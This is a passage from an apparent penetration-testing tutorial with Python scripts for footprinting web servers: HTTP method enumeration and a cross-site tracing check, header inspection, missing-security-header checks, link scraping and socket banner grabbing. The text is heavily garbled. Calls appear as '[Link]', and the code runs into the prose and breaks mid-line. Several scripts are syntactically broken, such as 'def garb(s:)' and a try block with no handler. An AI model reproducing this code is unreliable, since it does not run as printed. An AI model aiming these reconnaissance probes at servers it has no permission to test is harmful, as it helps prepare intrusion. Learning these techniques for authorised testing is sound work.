Let us now discuss a few methods, implemented in Python, which can be executed for footprinting of a web server:

Testing availability of HTTP methods


A very good practice for a penetration tester is to start by listing the various available HTTP methods. Following is a
Python script with the help of which we can connect to the target web server and enumerate the available HTTP methods:
To begin with, we need to import the requests library:

import requests

After importing the requests library, create an array of HTTP methods, which we are going to send. We will
make use of some standard methods like 'GET', 'POST', 'PUT', 'DELETE', 'OPTIONS' and a non-standard
method ‘TEST’ to check how a web server can handle the unexpected input.

method_list = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'TRACE','TEST']

The following line of code is the main loop of the script, which will send the HTTP packets to the web server
and print the method and the status code.
for method in method_list:
req = [Link](method, 'Enter the URL’) print (method,
req.status_code, [Link])

The next line will test for the possibility of cross site tracing (XST) by sending the TRACE method.

if method == 'TRACE' and 'TRACE / HTTP/1.1' in [Link]: print ('Cross Site


Tracing(XST) is possible')

After running the above script for a particular web server, we will get 200 OK responses for a particular method
accepted by the web server. We will get a 403 Forbidden response if the web server explicitly denies the method. Once
we send the TRACE method for testing cross site tracing (XST), we will get 405 Not Allowed responses from the web
server otherwise we will get the message ‘Cross Site Tracing(XST) is possible’.

Foot printing by checking HTTP headers


HTTP headers are found in both requests and responses from the web server. They also carry very important
information about servers. That is why penetration tester is always interested in parsing information through HTTP
headers. Following is a Python script for getting the information about headers of the web server:
To begin with, let us import the requests library:

import requests
request = [Link]('enter the URL')

Next, we will generate a list of headers about which you need the information.
header_list = ['Server', 'Date', 'Via', 'X-Powered-By', 'X-Country-Code', ‘Connection’,
‘Content-Length’]
Next is a try and except block.
for header in header_list: try:
result = request.header_list[header] print ('%s: %s' % (header, result))
except Exception as err:
print ('%s: No Details Found' % header)

After running the above script for a particular web server, we will get the information about
the headers provided in the header list. If there will be no information for a particular header
then it will give the message ‘No Details Found’. You can also learn more about HTTP_header
fields from the link —
[Link]

Testing insecure web server configurations


We can use HTTP header information to test insecure web server configurations. In the
following Python script, we are going to use try/except block to test insecure web server
headers for number of URLs that are saved in a text file name [Link]:
import requests

urls = open("[Link]",
"r") for url in urls:
url = [Link]()
req = [Link](url)
print (url,
'report:') try:

protection_xss = [Link]['X-XSS-
Protection'] if protection_xss != '1;
mode=block':
print ('X-XSS-Protection not set properly, it
may be possible:', protection_xss)
except:
print ('X-XSS-Protection not set, it
may be possible')
try:

options_content_type = [Link]['X-
Content-Type-Options'] if options_content_type !=
'nosniff':
print ('X-Content-Type-Options not set
properly:', options_content_type)
except:
print ('X-Content-Type-Options not
set')
try:

transport_security = [Link]['Strict-Transport-
Security'] except:
print ('HSTS header not set properly, Man in the
middle attacks is
possible')
try:
print ('Content-Security-Policy missing')

Footprinting of a Web Application


In our previous section, we discussed footprinting of a web server. Similarly, footprinting of a
web application is also considered important from the point of view of a penetration tester.
In our subsequent section, we will learn about the different methods for footprinting of a web
application.

Methods for Footprinting of a Web Application


Web application is a client-server program, which is run by the client in a web server. This is
another key area for a pentester to focus on while doing penetration testing of web
application.
Let us now discuss the different methods, implemented in Python, which can be used for
footprinting of a web application:
Gathering information using parser BeautifulSoup
Suppose we want to collect all the hyperlinks from a web page; we can make use of a parser called
BeautifulSoup. The parser is a Python library for pulling data out of HTML and XML files. It can be
used with urlib because it needs an input (document or url) to create a soup object and it can’t
fetch web page by itself.
To begin with, let us import the necessary packages. We will import urlib and
BeautifulSoup. Remember before importing BeautifulSoup, we need to install it.
import urllib
from bs4 import BeautifulSoup
The Python script given below will gather the title of web page and hyperlinks:
Now, we need a variable, which can store the URL of the website. Here, we will use a variable named ‘url’. We will also use
the [Link]() function that can store the web page and assign the web page to the variable html_page.

url = raw_input("Enter the URL ")


page= [Link](url) html_page = [Link]()

The html_page will be assigned as an input to create soup object.


soup_object = BeautifulSoup(html_page)

Following two lines will print the title name with tags and without tags respectively.
print soup_object.title print soup_object.[Link]

The line of code shown below will save all the hyperlinks.
for link in soup_object.find_all('a'):
print([Link]('href'))
Banner grabbing
Banner is like a text message that contains information about the server and banner grabbing is the
process of fetching that information provided by the banner itself. Now, we need to know how this
banner is generated. It is generated by the header of the packet that is sent. And while the client tries to
connect to a port, the server responds because the header contains information about the server.
The following Python script helps grab the banner using socket programming:
import socket

s = [Link](socket.AF_INET, socket.SOCK_RAW, socket.

htons(0x0800)) targethost = str(raw_input("Enter the host

name: "))
targetport = int(raw_input("Enter
Port: "))
[Link]((targethost,targetport))
def garb(s:)
try:
[Link]('GET HTTP/1.1 \
r\n') ret =
[Link](1024) print
('[+]' + str(ret))
return
except Exception as error:
After running
print the above
('[-]' script, we
Not information will get+ similar kind of information about headers as we got from the
grabbed:'
Python script of footprinting
str(error)) return of HTTP headers in the previous section.

You might also like